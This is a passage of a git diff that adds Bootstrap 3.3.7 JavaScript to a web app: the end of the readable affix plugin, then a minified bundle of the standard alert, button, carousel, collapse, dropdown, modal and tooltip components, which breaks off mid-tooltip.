++
++ // AFFIX CLASS DEFINITION
++ // ======================
++
++ var Affix = function (element, options) {
++ this.options = $.extend({}, Affix.DEFAULTS, options)
++
++ this.$target = $(this.options.target)
++ .on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this))
++ .on('click.bs.affix.data-api', $.proxy(this.checkPositionWithEventLoop, this))
++
++ this.$element = $(element)
++ this.affixed = null
++ this.unpin = null
++ this.pinnedOffset = null
++
++ this.checkPosition()
++ }
++
++ Affix.VERSION = '3.3.7'
++
++ Affix.RESET = 'affix affix-top affix-bottom'
++
++ Affix.DEFAULTS = {
++ offset: 0,
++ target: window
++ }
++
++ Affix.prototype.getState = function (scrollHeight, height, offsetTop, offsetBottom) {
++ var scrollTop = this.$target.scrollTop()
++ var position = this.$element.offset()
++ var targetHeight = this.$target.height()
++
++ if (offsetTop != null && this.affixed == 'top') return scrollTop < offsetTop ? 'top' : false
++
++ if (this.affixed == 'bottom') {
++ if (offsetTop != null) return (scrollTop + this.unpin <= position.top) ? false : 'bottom'
++ return (scrollTop + targetHeight <= scrollHeight - offsetBottom) ? false : 'bottom'
++ }
++
++ var initializing = this.affixed == null
++ var colliderTop = initializing ? scrollTop : position.top
++ var colliderHeight = initializing ? targetHeight : height
++
++ if (offsetTop != null && scrollTop <= offsetTop) return 'top'
++ if (offsetBottom != null && (colliderTop + colliderHeight >= scrollHeight - offsetBottom)) return 'bottom'
++
++ return false
++ }
++
++ Affix.prototype.getPinnedOffset = function () {
++ if (this.pinnedOffset) return this.pinnedOffset
++ this.$element.removeClass(Affix.RESET).addClass('affix')
++ var scrollTop = this.$target.scrollTop()
++ var position = this.$element.offset()
++ return (this.pinnedOffset = position.top - scrollTop)
++ }
++
++ Affix.prototype.checkPositionWithEventLoop = function () {
++ setTimeout($.proxy(this.checkPosition, this), 1)
++ }
++
++ Affix.prototype.checkPosition = function () {
++ if (!this.$element.is(':visible')) return
++
++ var height = this.$element.height()
++ var offset = this.options.offset
++ var offsetTop = offset.top
++ var offsetBottom = offset.bottom
++ var scrollHeight = Math.max($(document).height(), $(document.body).height())
++
++ if (typeof offset != 'object') offsetBottom = offsetTop = offset
++ if (typeof offsetTop == 'function') offsetTop = offset.top(this.$element)
++ if (typeof offsetBottom == 'function') offsetBottom = offset.bottom(this.$element)
++
++ var affix = this.getState(scrollHeight, height, offsetTop, offsetBottom)
++
++ if (this.affixed != affix) {
++ if (this.unpin != null) this.$element.css('top', '')
++
++ var affixType = 'affix' + (affix ? '-' + affix : '')
++ var e = $.Event(affixType + '.bs.affix')
++
++ this.$element.trigger(e)
++
++ if (e.isDefaultPrevented()) return
++
++ this.affixed = affix
++ this.unpin = affix == 'bottom' ? this.getPinnedOffset() : null
++
++ this.$element
++ .removeClass(Affix.RESET)
++ .addClass(affixType)
++ .trigger(affixType.replace('affix', 'affixed') + '.bs.affix')
++ }
++
++ if (affix == 'bottom') {
++ this.$element.offset({
++ top: scrollHeight - height - offsetBottom
++ })
++ }
++ }
++
++
++ // AFFIX PLUGIN DEFINITION
++ // =======================
++
++ function Plugin(option) {
++ return this.each(function () {
++ var $this = $(this)
++ var data = $this.data('bs.affix')
++ var options = typeof option == 'object' && option
++
++ if (!data) $this.data('bs.affix', (data = new Affix(this, options)))
++ if (typeof option == 'string') data[option]()
++ })
++ }
++
++ var old = $.fn.affix
++
++ $.fn.affix = Plugin
++ $.fn.affix.Constructor = Affix
++
++
++ // AFFIX NO CONFLICT
++ // =================
++
++ $.fn.affix.noConflict = function () {
++ $.fn.affix = old
++ return this
++ }
++
++
++ // AFFIX DATA-API
++ // ==============
++
++ $(window).on('load', function () {
++ $('[data-spy="affix"]').each(function () {
++ var $spy = $(this)
++ var data = $spy.data()
++
++ data.offset = data.offset || {}
++
++ if (data.offsetBottom != null) data.offset.bottom = data.offsetBottom
++ if (data.offsetTop != null) data.offset.top = data.offsetTop
++
++ Plugin.call($spy, data)
++ })
++ })
++
++}(jQuery);
+diff --git a/app/js/bootstrap/bootstrap.min.js b/app/js/bootstrap/bootstrap.min.js
+new file mode 100644
+index 0000000..9bcd2fc
+--- /dev/null
++++ b/app/js/bootstrap/bootstrap.min.js
+@@ -0,0 +1,7 @@
++/*!
++ * Bootstrap v3.3.7 (http://getbootstrap.com)
++ * Copyright 2011-2016 Twitter, Inc.
++ * Licensed under the MIT license
++ */
++if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){if(a(b.target).is(this))return b.handleObj.handler.apply(this,arguments)}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.7",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a("#"===f?[]:f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.7",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c).prop(c,!0)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c).prop(c,!1))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target).closest(".btn");b.call(d,"toggle"),a(c.target).is('input[type="radio"], input[type="checkbox"]')||(c.preventDefault(),d.is("input,button")?d.trigger("focus"):d.find("input:visible,button:visible").first().trigger("focus"))}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(a>this.$items.length-1||a<0))return this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){if(!this.sliding)return this.slide("next")},c.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.7",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.7",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&j<i.length-1&&j++,~j||(j=0),i.eq(j).trigger("focus")}}}};var h=a.fn.dropdown;a.fn.dropdown=d,a.fn.dropdown.Constructor=g,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=h,this},a(document).on("click.bs.dropdown.data-api",c).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.bs.dropdown.data-api",f,g.prototype.toggle).on("keydown.bs.dropdown.data-api",f,g.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",g.prototype.keydown)}(jQuery),+function(a){"use strict";function b(b,d){return this.each(function(){var e=a(this),f=e.data("bs.modal"),g=a.extend({},c.DEFAULTS,e.data(),"object"==typeof b&&b);f||e.data("bs.modal",f=new c(this,g)),"string"==typeof b?f[b](d):g.show&&f.show(d)})}var c=function(b,c){this.options=c,this.$body=a(document.body),this.$element=a(b),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=300,c.BACKDROP_TRANSITION_DURATION=150,c.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},c.prototype.toggle=function(a){return this.isShown?this.hide():this.show(a)},c.prototype.show=function(b){var d=this,e=a.Event("show.bs.modal",{relatedTarget:b});this.$element.trigger(e),this.isShown||e.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",function(){d.$element.one("mouseup.dismiss.bs.modal",function(b){a(b.target).is(d.$element)&&(d.ignoreBackdropClick=!0)})}),this.backdrop(function(){var e=a.support.transition&&d.$element.hasClass("fade");d.$element.parent().length||d.$element.appendTo(d.$body),d.$element.show().scrollTop(0),d.adjustDialog(),e&&d.$element[0].offsetWidth,d.$element.addClass("in"),d.enforceFocus();var f=a.Event("shown.bs.modal",{relatedTarget:b});e?d.$dialog.one("bsTransitionEnd",function(){d.$element.trigger("focus").trigger(f)}).emulateTransitionEnd(c.TRANSITION_DURATION):d.$element.trigger("focus").trigger(f)}))},c.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event("hide.bs.modal"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",a.proxy(this.hideModal,this)).emulateTransitionEnd(c.TRANSITION_DURATION):this.hideModal())},c.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){document===a.target||this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.trigger("focus")},this))},c.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},c.prototype.resize=function(){this.isShown?a(window).on("resize.bs.modal",a.proxy(this.handleUpdate,this)):a(window).off("resize.bs.modal")},c.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.$body.removeClass("modal-open"),a.resetAdjustments(),a.resetScrollbar(),a.$element.trigger("hidden.bs.modal")})},c.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},c.prototype.backdrop=function(b){var d=this,e=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var f=a.support.transition&&e;if(this.$backdrop=a(document.createElement("div")).addClass("modal-backdrop "+e).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(a){return this.ignoreBackdropClick?void(this.ignoreBackdropClick=!1):void(a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide()))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;f?this.$backdrop.one("bsTransitionEnd",b).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):b()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var g=function(){d.removeBackdrop(),b&&b()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",g).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):g()}else b&&b()},c.prototype.handleUpdate=function(){this.adjustDialog()},c.prototype.adjustDialog=function(){var a=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth<a,this.scrollbarWidth=this.measureScrollbar()},c.prototype.setScrollbar=function(){var a=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"",this.bodyIsOverflowing&&this.$body.css("padding-right",a+this.scrollbarWidth)},c.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad)},c.prototype.measureScrollbar=function(){var a=document.createElement("div");a.className="modal-scrollbar-measure",this.$body.append(a);var b=a.offsetWidth-a.clientWidth;return this.$body[0].removeChild(a),b};var d=a.fn.modal;a.fn.modal=b,a.fn.modal.Constructor=c,a.fn.modal.noConflict=function(){return a.fn.modal=d,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(c){var d=a(this),e=d.attr("href"),f=a(d.attr("data-target")||e&&e.replace(/.*(?=#[^\s]+$)/,"")),g=f.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(e)&&e},f.data(),d.data());d.is("a")&&c.preventDefault(),f.one("show.bs.modal",function(a){a.isDefaultPrevented()||f.one("hidden.bs.modal",function(){d.is(":visible")&&d.trigger("focus")})}),b.call(f,g,this)})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.tooltip",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",a,b)};c.VERSION="3.3.7",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);if(c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),!c.isInStateTrue())return clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-m<o.top?"bottom":"right"==h&&k.right+l>o.width?"left":"left"==h&&k.left-l<o.left?"right":h,f.removeClass(n).addClass(h)}var p=this.getCalculatedOffset(h,k,l,m);this.applyPlacement(p,h);var q=function(){var a=e.hoverState;e.$element.trigger("shown.bs."+e.type),e.hoverState=null,"out"==a&&e.leave(e)};a.support.transition&&this.$tip.hasClass("fade")?f.one("bsTransitionEnd",q).emulateTransitionEnd(c.TRANSITION_DURATION):q()}},c.prototype.applyPlacement=function(b,c){var d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css("margin-top"),10),h=parseInt(d.css("margin-left"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),b.top+=g,b.left+=h,a.offset.setOffset(d[0],a.extend({using:function(a){d.css({top:Math.round(a.top),left:Math.round(a.left)})}},b),0),d.addClass("in");var i=d[0].offsetWidth,j=d[0].offsetHeight;"top"==c&&j!=f&&(b.top=b.top+f-j);var k=this.getViewportAdjustedDelta(c,b,i,j);k.left?b.left+=k.left:b.top+=k.top;var l=/top|bottom/.test(c),m=l?2*k.left-e+i:2*k.top-f+j,n=l?"offsetWidth":"offsetHeight";d.offset(b),this.replaceArrow(m,d[0][n],l)},c.prototype.replaceArrow=function(a,b,c){this.arrow().css(c?"left":"top",50*(1-a/b)+"%").css(c?"top":"left","")},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},c.prototype.hide=function(b){function d(){"in"!=e.hoverState&&f.detach(),e.$element&&e.$element.removeAttr("aria-describedby").trigger("hidden.bs."+e.type),b&&b()}var e=this,f=a(this.$tip),g=a.Event("hide.bs."+this.type);if(this.$element.trigger(g),!g.isDefaultPrevented())return f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one("bsTransitionEnd",d).emulateTransitionEnd(c.TRANSITION_DURATION):d(),this.hoverState=null,this},c.prototype.fixTitle=function(){var a=this.$element;(a.attr("title")||"string"!=typeof 